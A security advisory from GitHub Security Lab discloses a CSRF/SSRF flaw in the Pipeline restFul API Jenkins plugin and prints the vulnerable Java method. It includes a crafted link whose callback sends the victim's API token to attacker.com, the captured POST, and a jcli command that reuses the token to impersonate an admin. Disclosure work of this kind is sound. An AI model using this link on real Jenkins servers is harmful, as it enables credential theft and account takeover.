Coordinated Disclosure Timeline

Summary

A Cross-Site Request Forgery (CSRF) and a Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/pipeline-restful-api-plugin may allow an attacker to retrieve a token to impersonate its victim.

Product

Pipeline restFul API Jenkins plugin

Tested Version

0.12

Details

Account credentials leak via CSRF/SSRF (GHSL-2023-064)

The InstanceAPI#doGenerateToken, method generates a token to be used with the JCLI tool. However, this method does not prevent CSRF attacks and is vulnerable to SSRF. An attacker may craft a URL link that, when visited by the victim, will leak a JCLI token that may be used to impersonate him. The affected code is:

public void doGenerateToken(StaplerResponse rsp, @QueryParameter(required = true) String callback) throws IOException, ServletException {
    User user = User.current();
    if (user == null) {
        System.out.println("not login yet");
        return;
    }
    ApiTokenProperty token = user.getProperty(ApiTokenProperty.class);
    ApiTokenProperty.DescriptorImpl desc = (ApiTokenProperty.DescriptorImpl) token.getDescriptor();
    HttpResponse response = desc.doGenerateNewToken(user, "jcli-auto-");

    ByteArrayOutputStream output = new ByteArrayOutputStream();
    StaplerResponseWrapper out = new StaplerResponseWrapper(rsp) {
        @Override
        public ServletOutputStream getOutputStream() throws IOException {
            return new ServletOutputStream(){
                @Override
                public void write(int b) throws IOException {
                    output.write(b);
                }

                @Override
                public boolean isReady() {
                    return false;
                }

                @Override
                public void setWriteListener(WriteListener writeListener) {

                }
            };
        }
    };
    response.generateResponse(null, out, null);

    HttpURLConnection urlCon = (HttpURLConnection) new URL(callback).openConnection();
    urlCon.setRequestMethod("POST");
    urlCon.setDoOutput(true);

    urlCon.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
    JSONObject jsonObj = JSONObject.fromObject(output.toString());
    jsonObj.getJSONObject("data").put("userName", user.getFullName());
    urlCon.setFixedLengthStreamingMode(jsonObj.toString().length());

    try(OutputStream os = urlCon.getOutputStream()) {
        os.write(jsonObj.toString().getBytes());
    }

    String result = "All set, jcli is ready! For example: 'jcli plugin list'. You can close this page now.";
    rsp.setContentLength(result.length());
    rsp.getWriter().write(result);
}

In order to exploit the vulnerability, the attacker needs to prepare a URL link and send it to its victim. For example, to send the token to attacker.com:

http://target-jenkins/jenkins/instance/generateToken?callback=http:%2F%2Fattacker.com`

If the victim visits this link, the following POST request will be sent to attacker-controlled server:

POST / HTTP/1.1
Content-Type: application/json; charset=UTF-8
User-Agent: Java/11.0.16.1
Host: itfkg29npmqd26enmtvakkyzlqrhfh36.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 169
{"status":"ok","data":{"tokenName":"jcli-auto-","tokenUuid":"acb6a67c-647f-4269-80de-434c00d4d29f","tokenValue":"11ef27a29f4a4ebf220ed6c1d925998b22","userName":"admin"}}

Note that the victim needs to be authenticated when visiting the link.

Once the attacker receives the token, they can use it to impersonate the victim using the JCLI tool:

❯❯❯ jcli user --token 11ef27a29f4a4ebf220ed6c1d925998b22
{
  "absoluteUrl": "http://localhost:8080/jenkins/user/admin",
  "Description": "",
  "fullname": "admin",
  "ID": "admin"
}

This vulnerability was found using CodeQL’s SSRF Java query.

Impact

This vulnerability can lead to sensitive secret credentials leak, account takeover and Remote Code Execution (RCE).

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-064 in any communication regarding this issue.